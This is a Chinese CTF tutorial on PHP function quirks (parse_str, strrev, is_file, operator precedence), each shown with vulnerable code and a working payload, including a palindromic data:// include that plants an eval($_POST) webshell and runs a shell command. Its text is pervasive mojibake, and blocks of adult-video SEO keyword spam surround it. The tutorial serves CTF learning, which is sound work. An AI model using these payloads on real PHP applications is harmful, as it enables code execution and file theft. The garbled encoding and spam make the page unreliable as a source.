日本不卡不码高清免费观看,久久国产精品久久w女人spa,黄色aa久久,三上悠亚国产精品一区二区三区

您的位置:首頁(yè)技術(shù)文章
文章詳情頁(yè)

CTF中的PHP特性函數(shù)解析之下篇

瀏覽:295日期:2022-06-06 15:52:34
目錄
  • 前言
  • parse_str
  • strrev
  • is_file
  • 優(yōu)先級(jí)問(wèn)題
  • 結(jié)語(yǔ)

前言

上篇文章講的進(jìn)階一些的PHP特性不知道大家吸收的怎么樣了,今天作為本PHP特性函數(shù)的最后一篇,我也會(huì)重點(diǎn)介紹一些有趣的PHP特性以及利用方法,下面開(kāi)始我們今天的內(nèi)容分享。

parse_str

parse_str()這個(gè)函數(shù)會(huì)把查詢(xún)字符串解析到變量中。那么我們?nèi)绾卫盟奶匦阅兀覀兛聪旅娴睦樱?/p>

<?phphighlight_file(__FILE__);error_reporting(0);include("flag.php");if(isset($_POST["v1"])){    $v1 = $_POST["v1"];    $v3 = $_GET["v3"];       parse_str($v1,$v2);       if($v2["flag"]==md5($v3)){   echo $flag;       }} ?>

分析一下代碼要求我們什么,看最后要我們數(shù)組v2等于md5(v3),而根據(jù)上面代碼v2則是由該函數(shù)經(jīng)過(guò)v1后賦值給的,那我們解題的思路就有了,利用parse_str() 函數(shù)的特點(diǎn)將v2[flag]的值覆蓋,那么具體要怎樣做呢?

先對(duì)數(shù)字5進(jìn)行md5加密:

<?php$b=md5("5");echo $b;// e4da3b7fbbce2345d7772b0674a318d5?>

之后再?gòu)膙1傳入我們的值即可完成繞過(guò):

Payload:GET:v3=5POST: v1=flag=e4da3b7fbbce2345d7772b0674a318d5

strrev

這個(gè)函數(shù)還是很好理解的,就是將字符串進(jìn)行翻轉(zhuǎn),曾經(jīng)遇到過(guò)考察這個(gè)的題目覺(jué)得很有趣分享給大家,我們先看代碼:

highlight_file(__FILE__);    $file = $_POST["file"];    if(isset($file)){if(strrev($file)==$file){    include $file;}

代碼很簡(jiǎn)單,第一個(gè)是高亮代碼沒(méi)有什么用,要我們傳入file而且要使回文數(shù)等于它本身并且還要考慮如何進(jìn)行攻擊,是不是不太好想,這里使用php里面的data協(xié)議,該協(xié)議可以進(jìn)行寫(xiě)入數(shù)據(jù),而且?>閉合后可以加任意字符不會(huì)受別的影響。于是我們構(gòu)造代碼:

data://text/plain,<?php eval($_POST[1]);?>>?;)]1[TSOP_$(lave php?<,nialp/txet//:atad&1=echo `cat /f1agaaa`;

可以看到思路還是挺巧妙的。

is_file

該函數(shù)檢測(cè)是不是一個(gè)常規(guī)的文件類(lèi)型,在CTF中也出過(guò)繞過(guò)這個(gè)函數(shù)的題目,下面我們先看看代碼:

<?phphighlight_file(__FILE__);error_reporting(0);function filter($file){    if(preg_match("/../|http|https|data|input|rot13|base64|string/i",$file)){die("hacker!");    }else{return $file;    }}$file=$_GET["file"];if(! is_file($file)){    highlight_file(filter($file));}else{    echo "hacker!";} ?>

分析一下filter函數(shù)過(guò)濾了很多關(guān)鍵字符串對(duì)我們的輸入進(jìn)行限制,最后還不能讓is_file檢測(cè)出來(lái)是文件,那我們要怎樣讀取flag.php文件呢,看最后有個(gè)高亮file的操作,這里就是利用點(diǎn),我們要讓其等于flag文件,于是需要繞過(guò):

這里 根據(jù)特性is_file不會(huì)識(shí)別php偽協(xié)議,于是我們構(gòu)造下面代碼:

php://filter/read=convert.quoted-printable-encode/resource=flag.php

這樣傳入即可繞過(guò)檢測(cè)。

優(yōu)先級(jí)問(wèn)題

在php里存在以下優(yōu)先級(jí)特性:

&&與||的優(yōu)先級(jí)高于=,而&&優(yōu)先級(jí)高于||

=的優(yōu)先級(jí)高于and與or

這里也可以作為考點(diǎn)來(lái)考,我們看下面代碼:

<?phpinclude("flag.php");highlight_file(__FILE__);if(isset($_GET["username"]) && isset($_GET["password"]) && isset($_GET["code"])){    $username = (String)$_GET["username"];    $password = (String)$_GET["password"];    $code = (String)$_GET["code"];    if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){if($code == "admin"){    echo $flag;}     }}

我們需要傳入三個(gè)參數(shù),之后進(jìn)行類(lèi)型的強(qiáng)制轉(zhuǎn)換,再通過(guò)判斷語(yǔ)句,最后需要code參數(shù)等于admin方可解題,根據(jù)優(yōu)先級(jí)原則,所以當(dāng)?shù)谝粋€(gè)判斷條件為true時(shí),直接跳過(guò)第二個(gè)條件然后判斷第三個(gè)條件,可能有一些繞,只要username=admin為真值,code=admin輸出flag,于是構(gòu)造payload:

?code=admin&password=1&username=admin

結(jié)語(yǔ)

本文到這就結(jié)束了,這篇文章講了幾個(gè)比較有趣而且有一些難度的特性知識(shí),不知道大家吸收的咋樣了,當(dāng)然PHP特性遠(yuǎn)沒(méi)有這么少,更多關(guān)于CTF PHP特性函數(shù)的資料請(qǐng)關(guān)注其它相關(guān)文章!

標(biāo)簽: PHP
日本不卡不码高清免费观看,久久国产精品久久w女人spa,黄色aa久久,三上悠亚国产精品一区二区三区
久久国产精品99国产| 国产美女久久| 国产精品成人**免费视频| 久久99性xxx老妇胖精品| 成人av二区| 老司机久久99久久精品播放免费| 99精品在线观看| 老鸭窝亚洲一区二区三区| 黄色亚洲大片免费在线观看| 欧美视频一区| 国产一区二区三区久久 | 在线看片一区| 911精品国产| 国产精品原创| 黑森林国产精品av| 高清不卡一区| 97国产成人高清在线观看| 高清av不卡| 日韩一区免费| 日韩欧美一区二区三区在线视频| 97人人精品| 久久中文字幕av| 国产精品色在线网站| 国产精品久久久久久久久久久久久久久| 国产精品久久久久久模特| 久久男人天堂| 亚洲欧美日韩高清在线| 免费看日韩精品| 欧美日韩国产观看视频| 中文在线中文资源| 激情久久婷婷| 亚洲欧美日韩精品一区二区| 亚洲精品一二三**| 日本国产精品| 国产欧美日韩综合一区在线播放| 国产麻豆精品久久| 97精品一区二区| 国产精品女主播一区二区三区| 精品九九久久| 日韩在线黄色| 欧美黑人做爰爽爽爽| 中文字幕中文字幕精品| 久久国产三级| 性感美女一区二区在线观看| 久久国产成人| 精品视频一区二区三区在线观看| 蜜桃av.网站在线观看| 久久av在线| 久久精品国产在热久久| 自拍日韩欧美| 欧美激情日韩| 国产视频久久| 精品国产乱码| 视频一区在线播放| 精品久久美女| 综合五月婷婷| sm久久捆绑调教精品一区| 久久午夜精品一区二区| 精品视频国产| 在线免费观看亚洲| 裤袜国产欧美精品一区| 久久国产66| 亚洲一级少妇| 国产精品亚洲四区在线观看 | 四季av一区二区凹凸精品| 日本精品一区二区三区在线观看视频| 麻豆国产精品| 国产精品人人爽人人做我的可爱| 久久精品伊人| 热久久久久久久| 日韩av首页| 国产亚洲高清在线观看| 亚洲精品电影| 国产精品不卡| 欧美综合精品| 免费视频国产一区| 国产成人免费| 欧美日韩视频免费看| 国产亚洲亚洲| 日韩久久电影| 国产精品一国产精品k频道56| 欧美综合二区| 欧美国产91| 久久久久久夜| 国产精品va视频| 亚洲欧美网站在线观看| 午夜国产一区二区| 色在线视频观看| 鲁大师精品99久久久| 日韩在线观看中文字幕| 欧美日韩国产精品一区二区亚洲| 精品国产美女a久久9999| 国产探花一区| 婷婷精品在线| 六月婷婷一区| 狠狠色狠狠色综合日日tαg| 日本综合字幕| 超碰超碰人人人人精品| 卡一卡二国产精品| 国产精品一级| 国产欧美综合一区二区三区| 亚洲精品影视| 日韩中文字幕av电影| 五月天激情综合网| 99久久九九| 久久久久国产精品一区三寸 | 国产精品亚洲一区二区三区在线观看| 久久精品国产999大香线蕉| 欧美亚洲综合视频| 日韩激情av在线| 中文字幕一区二区三区四区久久| 亚洲国产一区二区三区在线播放| 日韩理论片av| 色欧美自拍视频| 国产精品久久久久久久免费观看| 精品视频一区二区三区在线观看 | 国产一区三区在线播放| 你懂的国产精品| 国产日韩高清一区二区三区在线 | 国产精久久一区二区| 国产欧美大片| 国产亚洲久久| 国产精品调教视频| 免费在线亚洲欧美| 久久免费精品| 福利一区二区| 欧美二三四区| 久久国产日韩| 91九色精品| 国产精品美女久久久| 免费视频最近日韩| 日精品一区二区三区| 日韩av网站在线观看| 国产精品亚洲综合色区韩国| 免费看久久久| 狠狠躁少妇一区二区三区| 99精品美女| 中文一区一区三区免费在线观 | 国精品产品一区| 神马午夜在线视频| 国产一区日韩一区| 丝袜美腿亚洲一区二区图片| 视频在线在亚洲| 日韩av一区二区三区四区| 国产精品亚洲片在线播放| 欧美国产中文高清| zzzwww在线看片免费| 欧美影院三区| 日韩中文字幕1| 国产色噜噜噜91在线精品| 国产激情久久| 麻豆成全视频免费观看在线看| 亚洲一级二级| 日韩中文字幕在线一区| 国产精品久久久久av蜜臀| 色婷婷色综合| 精品日韩毛片| 蜜臀精品久久久久久蜜臀 | 亚洲精品日韩久久| 国产精品任我爽爆在线播放| 国产传媒在线观看| 日韩午夜精品| 日韩成人午夜精品| 国产精品成人a在线观看| 欧美精品一区二区久久| 日韩1区2区3区| 91视频一区| 丝袜脚交一区二区| 精品国产亚洲一区二区在线观看| 五月婷婷六月综合| 国产日韩欧美一区在线| 亚洲精品在线影院| 一区二区亚洲视频| 国产成人精选| 午夜国产精品视频免费体验区| 91精品啪在线观看国产爱臀| av中文资源在线资源免费观看| 久久福利影视| 久久精品三级| 国产亚洲毛片| 精品久久中文| 免费不卡在线视频| 色爱综合网欧美| 中文不卡在线| 欧美freesex黑人又粗又大| 亚洲va久久| 久久视频一区| 国产伦精品一区二区三区视频 | 99精品99| 欧美黄色一区| 国产亚洲毛片| 精品一二三区| 水蜜桃久久夜色精品一区的特点 | 美女性感视频久久| 国产综合精品一区| 国产欧美久久一区二区三区| 一区二区自拍| 国产成人免费视频网站视频社区| 亚洲综合福利| 欧美理论视频|